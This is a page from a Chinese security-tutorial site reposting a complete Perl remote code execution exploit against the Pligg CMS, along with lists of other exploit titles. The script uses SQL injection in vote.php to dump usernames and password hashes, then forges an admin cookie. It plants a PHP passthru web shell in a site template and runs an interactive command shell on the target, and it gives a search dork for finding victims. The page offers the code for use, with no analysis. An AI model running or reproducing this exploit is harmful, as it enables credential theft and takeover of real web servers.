• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > Pligg

Pligg

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了Pligg ,其中包含Pligg 等知识点,遇到此问题的同学们可以参考下
#!/usr/bin/perl -w
use LWP::UserAgent;
use MIME::Base64;
use Digest::MD5 qw(md5_hex);
use Getopt::Std; getopts('h:', \%args);

print "#############################################\n";
print "# Pligg <= 9.9 Remote Code Execution Exploit \n";
print "#############################################\n";
#dork = "Powered By Pligg" "Legal: License and Source"

# Proxy address
$ENV{http_proxy} = 'http://127.0.0.1:8118/';

my $http = LWP::UserAgent->new;
$http->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1');
#$http->env_proxy(); # <-- uncomment for proxy
$http->cookie_jar({});

my $host = $args{'h'} || usage(); # Host flag. Specify the Pligg root directory
my $user = undef;
my $pass = undef;
my $file = undef;
my $data = undef;
my @auth = undef;

# Details for the php code that is injected in to the template
my $ereg = '<cmdout>(.*?)<\/cmdout>';
my $cvar = 'cmd';
my $cval = 'pwd;id';
my $code = '<cmdout><?php if ( !empty($_REQUEST["' . $cvar . '"]) ) passthru($_REQUEST["' . $cvar . '"]); ?></cmdout>';

print "[*] Checking if a shell already exists ...\n";

$data = $http->post(
$host . '/index.php',
[
$cvar => $cval
]);

if ( $data->content =~ /$ereg/si )
{
print "[*] Found existing shell ...\n";
}
else
{
print "[!] No existing shell found ...\n";

#############################################
# Gather user info via vote.php SQL Injection
#############################################

$data = $http->post(
$host . '/vote.php',
[
'id' => '-99 UNION SELECT 1,2,3,null,5,6,concat(user_login,char(58),user_pass),8,9 FROM pligg_users -- /*',
'md5' => 'd41d8cd98f00b204e9800998ecf8427e' # <-- If you aren't logged in this always works
]);

print "[*] Gathering user information ...\n";

if ( $data->content =~ /(.*?):([a-f0-9]{1,64})/i )
{
$user = $1;
$pass = $2;

# Sets up the cookie to authenticate us
@auth = ('Cookie' => 'mnm_user=' . $user . '; mnm_key=' . encode_base64($user . ':' . crypt($user, 22) . ':' . md5_hex($pass)) . ';');

print "[ ] Got user '$user' ...\n";

}
else
{
print "[!] Unable to get user info. Dumping output ...\n";
open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
exit;
}

#############################################
# Get the template path
#############################################

print "[*] Gathering template information ...\n";

$data = $http->get($host . '/admin_editor.php',@auth);

if ( $data->content =~ />(.*?)<\/option>/i )
{
$file = $1;
# Quick and dirty fix
$file =~ s/admin_templates\/admin_access_denied.tpl/footer.tpl/;
print "[ ] Got template file [$file]...\n";
}

#############################################
# Read the template contents
#############################################

$data = $http->post(
$host . '/admin_editor.php',
[
'the_file' => $file,
'open' => 'Open'
]
,@auth);

print "[*] Reading template data ...\n";

# Grab the template contents
if ( $data->content =~ /<textarea(.*)>(.*)<\/textarea>/is )
{
$temp = $2;
$temp =~ s/&gt;/>/ig;
$temp =~ s/&lt;/</ig;
$temp =~ s/&quot;/"/ig;
$temp =~ s/&amp;/&/ig;

print "[ ] Got template data ...\n";
}
else
{
print "[!] Unable to get template data. Dumping output ...\n";
open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
exit;
}

#############################################
# Update the Template Contents
#############################################


$data = $http->post(
$host . '/admin_editor.php',
[
'the_file2' => $file,
'updatedfile' => $temp . $code,
'save' => 'Save Changes'
]
,@auth);

print "[*] Updating template data ...\n";

if ( $data->content =~ /File Saved/is )
{
print "[ ] File saved!\n";
}
else
{
print "[!] Unable to update template data. Dumping output ...\n";
open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
exit;
}
}

#############################################
# Setting up the php shell
#############################################

print "[*] Setting up shell ...\n";

$data = $http->post(
$host . '/index.php',
[
$cvar => $cval
]);

if ( $data->content =~ /<cmdout>(.*?)<\/cmdout>/si )
{
while ( 1 )
{
print "pligg:~#";
$exec = <STDIN>;

$data = $http->post(
$host . '/index.php',
[
$cvar => $exec
]);

if ( $data->content =~ /$ereg/si )
{
print $1 . "\n";
}
else
{
print "Unexpected Response!\n";
}
}
}
else
{
print "[!] Unable to set up shell ...\n";
open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
exit;
}

sub usage
{
print "pligg_exploit.pl -h http://path/to/pligg \n";
exit;
}

</div>

您可能想查找下面的文章:

相关文章

  • The Personal FTP Server 6.0f RETR Denial of Service Exploit
  • Trend Micro OfficeScan ObjRemoveCtrl ActiveX Control BOF Exploit
  • PHPizabi 0.848b C1 HFP1 Remote Code Execution Exploit
  • Mole Group Real Estate Script
  • Microsoft Access (Snapview.ocx 10.0.5529.0) ActiveX Remote Exploit
  • Maian Events 2.0 Insecure Cookie Handling Vulnerability
  • WebCMS Portal Edition (id) Remote SQL Injection Vulnerability
  • CoolPlayer m3u File Local Buffer Overflow Exploit
  • MS Internet Explorer Recordset Double Free Memory Exploit
  • fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (php)

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC
    • Joomla Component DT Register Remote SQL injection Vulnerability
    • Joomla Component EZ Store Remote Blind SQL Injection Exploit
    • Linux Kernel
    • Maian Events 2.0 Insecure Cookie Handling Vulnerability
    • Pragyan CMS 2.6.2 (sourceFolder) Remote File Inclusion Vulnerability
    • BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit
    • Microsoft Excel Malformed Palette Record DoS PoC (MS07-002)
    • Maian Recipe
    • NoName Script

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有